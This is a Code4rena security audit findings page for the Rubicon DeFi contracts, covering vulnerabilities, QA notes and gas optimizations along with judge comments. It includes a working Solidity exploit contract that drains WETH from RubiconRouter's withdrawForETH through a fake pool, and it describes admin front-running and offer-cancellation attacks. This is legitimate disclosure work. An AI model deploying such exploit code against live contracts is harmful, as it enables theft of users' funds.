Platform: Code4rena
Start Date: 23/05/2022
Pot Size: $50,000 USDC
Total HM: 44
Participants: 99
Period: 5 days
Judge: hickuphh3
Total Solo HM: 11
Id: 129
League: ETH
Rank: 3/99
Findings: 15
Award: $2,900.21
๐ Selected for report: 2
๐ Solo Findings: 2
https://github.dev/code-423n4/2022-05-rubicon/blob/521d50b22b41b1f52ff9a67ea68ed8012c618da9/contracts/RubiconRouter.sol#L422-L428 https://github.dev/code-423n4/2022-05-rubicon/blob/521d50b22b41b1f52ff9a67ea68ed8012c618da9/contracts/RubiconRouter.sol#L449
Anyone can cancel
third party offers and take third party ether.
When offerForETH is called on RubiconRouter
the RubiconMarket.offer
method is called and an offer
is created where the owner is the calling contract, RubiconMarket
.
If you want to cancel
it using cancelForETH the Market will check that the msg.sender
is the owner in can_cancel modifier, always will be true, because the caller is RubiconRouter
and the attacker will receive the original pay_amt
.
RubiconMarket
need to store the original owner.#0 - bghughes
2022-06-07T22:25:56Z
Duplicate of #17
8.2687 USDC - $8.27
The user's ether could be locked and unrecoverable.
Because to transfer ether the .transfer
method (which is capped at 2300 gas) is used instead of .call
which is limited to the gas provided by the user. If a contract that has a fallback
method more expensive than 2300 gas, creates an offer, it will be impossible for this contract cancel the offer or receive funds back to that address.
Reference:
Affected lines:
Use .call
instead of .transfer
#0 - pauliax
2022-06-07T09:08:55Z
I do not think it is valid with RubiconMarket because it uses .transfer to send ERC20 tokens, not a native asset.
RubiconRouter might be vulnerable but it looks more like a medium type of issue with a hypothetical attack path.
#1 - bghughes
2022-06-07T22:26:58Z
See #82
๐ Selected for report: dipp
Also found by: 0x1f8b, csanuragjain, pedroais
withdrawForETH method is vulnerable to token theft.
The withdrawForETH
method receives the targetPool
argument from the user, the problem is that it completely trusts that said contract is trustworthy, however this contract can drain all the WETH9 that it has the contract prior to your call.
function withdrawForETH(uint256 shares, address targetPool) external payable returns (uint256 withdrawnWETH) { IERC20 target = IBathToken(targetPool).underlyingToken(); require(target == ERC20(wethAddress), "target pool not weth pool"); require(IBathToken(targetPool).balanceOf(msg.sender) >= shares,"don't own enough shares"); IBathToken(targetPool).transferFrom(msg.sender, address(this), shares); withdrawnWETH = IBathToken(targetPool).withdraw(shares); WETH9(wethAddress).withdraw(withdrawnWETH); msg.sender.transfer(withdrawnWETH); }
Here is an example of the exploit contract that would work as a targetPool
. With this contract as targetPool
, and 0 as shares
, it's possible to drain all the reserves.
contract exploit { address public WETH; uint256 public balance = 0; constructor(address w) { WETH=w; } function underlyingToken() public view returns (address) { return WETH; } function balanceOf(address a) public view returns (uint) { return 100000 ether; } function transferFrom(address a, address from, uint256 c) public returns (bool) { // calculate balance to drain balance = exploit(WETH).balanceOf(from); return true; } function withdraw(uint256 a) public returns (uint) { return balance; } }
targetPool
whitelist#0 - bghughes
2022-06-04T22:41:53Z
Duplicate of #356
๐ Selected for report: berndartmueller
Also found by: 0x1f8b, 0xDjango, 0xsomeone, ACai, Bahurum, BouSalman, CertoraInc, Deivitto, Dravee, GimelSec, IllIllI, JMukesh, Kaiziron, PP1004, Ruhum, SmartSek, VAD37, WatchPug, _Adam, aez121, antonttc, blockdev, broccolirob, camden, cccz, cryptphi, defsec, dipp, ellahi, fatherOfBlocks, gzeon, horsefacts, ilan, jayjonah8, joestakey, kenta, kenzo, minhquanym, oyc_109, pauliax, pedroais, peritoflores, sashik_eth, shenwilly, simon135, throttle, xiaoming90, z3s
0.1022 USDC - $0.10
Judge has assessed an item in Issue #47 as Medium risk. The relevant finding follows:
#0 - HickupHH3
2022-06-25T02:21:05Z
Unsafe ERC20 calls The following code doesn't check the result of the ERC20 calls. ERC20 standard specify that the token can return false if these calls fails, so it's mandatory to check the result of these ERC20 methods.
Duplicate of #316
๐ Selected for report: kenzo
Also found by: 0x1f8b, 0xsomeone, Dravee, IllIllI, MaratCerby, berndartmueller, cryptphi, xiaoming90
https://github.dev/code-423n4/2022-05-rubicon/blob/521d50b22b41b1f52ff9a67ea68ed8012c618da9/contracts/RubiconRouter.sol#L157 https://etherscan.deth.net/address/0xdac17f958d2ee523a2206206994597c13d831ec7
Some tokens do not implement the ERC20 standard properly but are still accepted by most code that accepts ERC20 tokens. For example Tether (USDT)'s approve()
function will revert if the current approval is not zero, to protect against front-running changes of approvals.
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); }
The code as currently implemented does not handle these sorts of tokens properly, which would prevent USDT, the sixth largest pool, from being used by this project.
Affected source code:
safeApprove
with 0 amount first.#0 - KenzoAgada
2022-06-05T11:09:54Z
Duplicate of #100.
#1 - bghughes
2022-06-07T22:53:33Z
Duplicate of #100
Ether can get stuck in BathBuddy
.
The BathBuddy
contract is a copy of VestingWallet
, however it does not allow ETH to be released (as VestingWallet did), but it allow to be received, so any ETH received will be burned and locked forever.
receive() external payable {}
from BathBuddy
#0 - bghughes
2022-05-30T22:35:01Z
Duplicate of #78
๐ Selected for report: 0x1f8b
Also found by: CertoraInc, IllIllI, rotcivegaf, unforgiven
87.8307 USDC - $87.83
The DOMAIN_SEPARATOR
is wrong calculated.
In the initialize
method of the BathToken
contract, the name
of the contract is used to calculate the DOMAIN_SEPARATOR
, however said name is set later, so it will use an incorrect name
, making it impossible to calculate the DOMAIN_SEPARATOR
correctly.
DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this) ) ); name = string(abi.encodePacked(_symbol, (" v1")));
Affected source code:
name
before use it.๐ Selected for report: Ruhum
Also found by: 0x1f8b, 0x4non, 0xDjango, Dravee, GimelSec, StErMi, berndartmueller, blackscale, catchup, cccz, csanuragjain, defsec, eccentricexit, ellahi, horsefacts, hubble, joestakey, kenzo, pedroais, peritoflores, reassor, rotcivegaf, sashik_eth, shenwilly, sseefried, throttle, xiaoming90
1.8534 USDC - $1.85
https://github.com/code-423n4/2022-05-rubicon/blob/521d50b22b41b1f52ff9a67ea68ed8012c618da9/contracts/rubiconPools/BathToken.sol#L599-L603 https://github.com/code-423n4/2022-05-rubicon/blob/521d50b22b41b1f52ff9a67ea68ed8012c618da9/contracts/rubiconPools/BathToken.sol#L599-L603
It's possible to steal tokens by the admin using a front-running attack in the BathToken contract.
The withdraw
method and the redeem
method do not establish the expected tokens to receive, and these depend on the fee established by the owner, this fee is not limited and allows passing the division factor (10_000), so a malicious admin could front-run a user, set a 100% fee (or higher and deny service) and receive more tokens than expected, stealing funds from the user.
Affected source code:
#0 - bghughes
2022-06-03T22:11:05Z
Duplicate of #43
#1 - HickupHH3
2022-06-21T05:53:18Z
Duplicate of #21
๐ Selected for report: 0x1f8b
892.4522 USDC - $892.45
Centralized risks allows rogue pool behavior.
The onlyPair
modifier is as detailed below:
modifier onlyPair() { require( IBathHouse(bathHouse).isApprovedPair(msg.sender) == true, "not an approved pair - bathToken" ); _; }
And the bathHouse
is the admin as you can see in the following comment in the initialize
method
bathHouse = msg.sender; //NOTE: assumed admin is creator on BathHouse
So if the admin it's able to be the a valid pair
(it could change the owner with setBathHouse
), the owner it's able to call the method rebalance
and steal any token.
Affected source code:
#0 - bghughes
2022-06-03T22:02:10Z
Acknowledged centralization risk #344 #314
#1 - HickupHH3
2022-06-23T13:57:50Z
The attack path could have been more detailed. It is valid though:
onlyPair
modifier checkrebalance()
It's different from #211's attack vector, hence keeping it separate.
117.1076 USDC - $117.11
Judge has assessed an item in Issue #47 as Medium risk. The relevant finding follows:
#0 - HickupHH3
2022-06-25T02:10:48Z
Is not possible to deny strategies The admin can approve strategies, but can never deny them, so it could affect the security of the site if a strategy is exploited and needs to be removed.
It is recommended to add a method to deny strategies.
Duplicate of #118
๐ Selected for report: csanuragjain
Also found by: 0x1f8b
401.6035 USDC - $401.60
Judge has assessed an item in Issue #47 as Medium risk. The relevant finding follows:
#0 - HickupHH3
2022-06-25T02:16:16Z
It does not check that there are at least two routes and that they are different from each other.
Affected source code:
RubiconRouter.sol#L164 RubiconRouter.sol#L197
Dup of #87
๐ Selected for report: berndartmueller
Also found by: 0x1f8b, blackscale
240.9621 USDC - $240.96
Judge has assessed an item in Issue #47 as Medium risk. The relevant finding follows:
#0 - HickupHH3
2022-06-25T02:14:07Z
Empty feeTo in RubiconMarket.sol#L556 and RubiconMarket.sol#L1256 could deny the service in buy method
Duplicate of #319
๐ Selected for report: IllIllI
Also found by: 0x1337, 0x1f8b, 0x4non, 0xDjango, 0xKitsune, 0xNazgul, 0xf15ers, ACai, AlleyCat, Bahurum, BouSalman, CertoraInc, Chom, Dravee, ElKu, FSchmoede, Funen, GimelSec, Hawkeye, JC, JMukesh, Kaiziron, MaratCerby, Metatron, PP1004, Picodes, Ruhum, SmartSek, StErMi, TerrierLover, UVvirus, UnusualTurtle, WatchPug, Waze, _Adam, asutorufos, berndartmueller, blackscale, blockdev, broccolirob, c3phas, catchup, cryptphi, csanuragjain, defsec, delfin454000, dipp, eccentricexit, ellahi, fatherOfBlocks, gzeon, hansfriese, horsefacts, hubble, ilan, joestakey, kebabsec, minhquanym, oyc_109, parashar, pauliax, rotcivegaf, sach1r0, sashik_eth, shenwilly, simon135, sorrynotsorry, sseefried, throttle, unforgiven, xiaoming90
207.8103 USDC - $207.81
The source files have different solidity compiler ranges referenced. This leads to potential security flaws between deployed contracts depending on the compiler version chosen for any particular file. It also greatly increases the cost of maintenance as different compiler versions have different semantics and behavior.
pragma solidity >= 0.5.0; pragma solidity >= 0.7.6; pragma solidity = 0.7.6; pragma solidity >= 0.6.0 < 0.8.0;
The admin can approve strategies, but can never deny them, so it could affect the security of the site if a strategy is exploited and needs to be removed.
It is recommended to add a method to deny strategies.
Affected source code:
The following methods have a lack checks if the received argument is an address, it's good practice in order to reduce human error to check that the address specified in the constructor or initialize is different than address(0)
.
Affected source code:
feeTo
in RubiconMarket.sol#L556 and RubiconMarket.sol#L1256 could deny the service in buy methodIt does not check that there are at least two routes and that they are different from each other.
Affected source code:
It is not verified that the fee is less than the factorial, so the service could be denied or the user's funds affected by the admin. You need to add the conditional fee <= 10_000
.
Affected source code:
The following code doesn't check the result of the ERC20 calls. ERC20 standard specify that the token can return false if these calls fails, so it's mandatory to check the result of these ERC20 methods.
Reference:
NOTES: The following specifications use syntax from Solidity 0.4.17 (or above) Callers MUST handle false from returns (bool success). Callers MUST NOT assume that false is never returned!
approve
:
transfer
:
transferFrom
:
Although it has not been possible to exploit the reentrancy attack, the logic of the methods named below, make the changes of the validation flags after a method that allows reentrancy, it is convenient to modify the flags before the external calls to contracts.
Move the faucetCheck[msg.sender]
changes before _mint
in:
The _feeTo
argument is ignored and address(this)
is used regardless of the value set by the initialize
method.
This can confuse the deployer and believe that it is using a value that it really is not, it is recommended to remove the argument or use the provided value.
Affected source code:
In the handleStratOrderAtID
method of the BathPair
contract, an integer underflow occurs, because the pragma used allows it and safe math is not used, the following operation can produce an overflow.
uint256 askDelta = info.askPayAmt - offer1.pay_amt; uint256 bidDelta = info.bidPayAmt - offer2.pay_amt;
It is believed that it cannot be exploited and take advantage of it, but this will require a deep study, So it's marked as low
Affected source code:
It is necessary to avoid two identical tokens in tokenPair
. _underlyingAsset
and _underlyingQuote
must be different in:
In the following line if _underlyingAsset
and _underlyingQuote
are the same, they will use the same stratReward
twice, affecting the logic of the contract in:
Also asset
and quote
must be not equal in:
In the method BathHouse.openBathTokenSpawnAndSignal, newBathTokenUnderlying
and desiredPairedAsset
could be the same which would emit an event that pairs two tokens that are not meant to be.
Affected source code:
You could fron-run createBathToken to create tokens with fee = address(0)
if you call openBathTokenSpawnAndSignal prioritized.
This could affect the economics of the project because tokens would be created with fees not intended for what the owner initially wanted.
Affected source code:
In the BathHouse
contract, it's possible to do an important hot changes and there is no emit detectable for dapps or users, so the owner could change important values and it could lead in rogue attack.
Affected source code:
The comment mentions "quantity is not an int" but the reality is that it is, the precision of the integer should be specified, in this case int128
.
Affected source code:
The following methods take all the user's balance and send it through transferFrom
, this call may fail, since transferFrom
extracts the balance from the previously approved allowance
, it is better to use the user's allowance
in order to avoid the unnecessary failure when both amounts are not the same. It's better to use allowance
instead of balanceOf
.
Affected source code:
Using the packages from the original developer helps us stay up-to-date when new bugs appear.
IRubiconMarket.sol
imports the openzeppelin libraries, as it should be, however these libraries are copied throughout the project.
Affected source code:
Here is not used open zeppelin imports:
This cause a lot of duplicate names:
> Duplicate contract names found for IWETH. > Duplicate contract names found for ERC20. > Duplicate contract names found for IERC20. > Duplicate contract names found for Address. > Duplicate contract names found for TransparentUpgradeableProxy. > Duplicate contract names found for UpgradeableProxy. > This can cause errors and unknown behavior. Please rename one of your contracts.
There are a SafeMath
library but instead of importing, the methods are copied:
Affected source code:
#0 - HickupHH3
2022-06-25T02:24:49Z
Not upgrading the "Force to be different tokens" because it doesn't say that it's a rug pull vector, only that it "will use the same stratReward twice, affecting the logic of the contract"
๐ Selected for report: IllIllI
Also found by: 0x1f8b, 0x4non, 0xDjango, 0xNazgul, 0xf15ers, 0xkatana, Chom, DavidGialdi, Dravee, ElKu, FSchmoede, Fitraldys, Funen, GimelSec, JC, Kaiziron, MaratCerby, Metatron, MiloTruck, Picodes, Randyyy, RoiEvenHaim, SmartSek, Tomio, UnusualTurtle, WatchPug, Waze, _Adam, antonttc, asutorufos, berndartmueller, blackscale, blockdev, c3phas, catchup, csanuragjain, defsec, delfin454000, ellahi, fatherOfBlocks, gzeon, hansfriese, ilan, joestakey, minhquanym, oyc_109, pauliax, pedroais, reassor, rfa, rotcivegaf, sach1r0, samruna, sashik_eth, simon135, z3s
82.2252 USDC - $82.23
Reusing the code of the libraries can optimize the resulting script, since the compiler will only add the required code of the library once, adding the logic of these libraries in the contract, only makes the script more difficult to read and larger, with the consequent expense in gas.
Affected source code:
The can_offer
modifier does not perform any action and can be ignored, this will reduce execution jumps.
Affected source code:
Use storage
keyword for save gas in order to cache a storage pointer.
The recurring use of the same register reading from storage is a task that can be easily optimized by using storage
or memory
, a clear example is access to offers[id]
but it can be seen throughout all contracts.
Affected source code:
++i
costs less gas compared to i++
or i += 1
++i
costs less gas compared to i++
or i += 1
for unsigned integer, as pre-increment is cheaper (about 5 gas per iteration). This statement is true even with the optimizer enabled.
i++
increments i
and returns the initial value of i
. Which means:
uint i = 1; i++; // == 1 but i == 2
But ++i
returns the actual incremented value:
uint i = 1; ++i; // == 2 and i == 2 too, so no need for a temporary variable
In the first case, the compiler has to create a temporary variable (when used) for returning 1
instead of 2
I suggest using ++i
instead of i++
to increment the value of an uint variable. Same thing for --i
and i--
Affected source code:
To conserve gas and enhance code quality, the following routines could be made external.
The cost of an external call is less than that of a public function.
Affected source code:
getExpectedSwapFill
in RubiconRouter.sol#L166swap
in RubiconRouter.sol#L199Shortening revert strings to fit in 32 bytes will decrease deployment time gas and will decrease runtime gas when the revert condition is met.
Revert strings that are longer than 32 bytes require at least one additional mstore, along with additional overhead for computing memory offset, etc.
I suggest shortening the revert strings to fit in 32 bytes, or that using custom errors as described next (require pragma upgrade).
Custom errors from Solidity 0.8.4 are cheaper than revert strings (cheaper deployment cost and runtime cost when the revert condition is met)
Starting from Solidity v0.8.4, there is a convenient and gas-efficient way to explain to users why an operation failed through the use of custom errors. Until now, you could already use strings to give more information about failures (e.g., revert("Insufficient funds.");), but they are rather expensive, especially when it comes to deploy cost, and it is difficult to use dynamic information in them.
Custom errors are defined using the error statement, which can be used inside and outside of contracts (including interfaces and libraries).
Affected source code:
Having a method that always returns the same value is not correct in terms of consumption, if you want to modify a value, and the method will perform a revert
in case of failure, it is not necessary to return a true
, since it will never be false
. It is less expensive not to return anything, and it also eliminates the need to double-check the returned value by the caller.
Affected source code:
The isClosed
method is immutable, consider removing the method or changing the logic in:
The following contracts are never used. It's an excellent idea to take them out to save gas and improve the codding style.
Affected source code:
The following variables are never used. Again, it's better to remove them in order to save gas and code readability.
Affected source code:
wards
in TokenWithFaucet.sol#L11EtherReleased
event in BathBuddy.sol#L53_feeTo
in BathToken.sol#L184stopped
logic is never used in RubiconMarket.sol#L449Use constants (e.g. type(uint256).max
) rather than computation (e.g. 2**256-1
).
Affected source code:
Use scientific notation (e.g. 10E9
) rather than exponentiation (e.g. 10**9
).
Affected source code:
Instead of using a contract, if a library is used, it is not necessary to increase the inheritance of contracts, improves readability, reduces auditing complications and makes the code less matriusca.
There are cases where a contract has been created just to store events, reducing inheritance helps make the code more readable and can save significant gas.
Affected source code:
It's compared a boolean value using == true
or == false
, instead of using the boolean value. NOT
opcode, it's cheaper to use EQUAL
or NOTEQUAL
when the value it's false, or just the value without == true
when it's true, because it will use less opcodes inside the VM.
Remove == true
in:
Change != true
by !
in:
Store bathHouse
as IBathHouse
to avoid continuous casting:
Affected source code:
Below are some logic changes that will improve the gas cost of the affected methods.
uint256 expectedShares
and use uint256 shares
in withdraw
.Affected source code:
function isApprovedPair(address pair) public view returns (bool outcome) { pair == approvedPairContract ? outcome = true : outcome = false; }
to
function isApprovedPair(address pair) public view returns (bool outcome) { outcome = pair == approvedPairContract; }
in order to reduce some opcodes.
Affected source code:
assigned
var in getIndexFromElement
function getIndexFromElement(uint256 uid, uint256[] storage array) internal view returns (uint256) { uint l = array.length; for (uint256 index = 0; index < l; ++index) { if (uid == array[index]) return _index; } require(false, "Didnt Find that element in live list, cannot scrub"); }
Affected source code:
Change from:
uint256 _id = ids[index]; scrubStrategistTrade(_id);
to
scrubStrategistTrade(ids[index]);
Affected source code:
newBathToken
instead of create newOne
Affected source code:
name = "Rubicon Bath House";
could be a constant because never will have a dynamic value, this will make it accessible even before it is initialized
Affected source code:
Change bpsToStrategists
to be constant with the value of 20: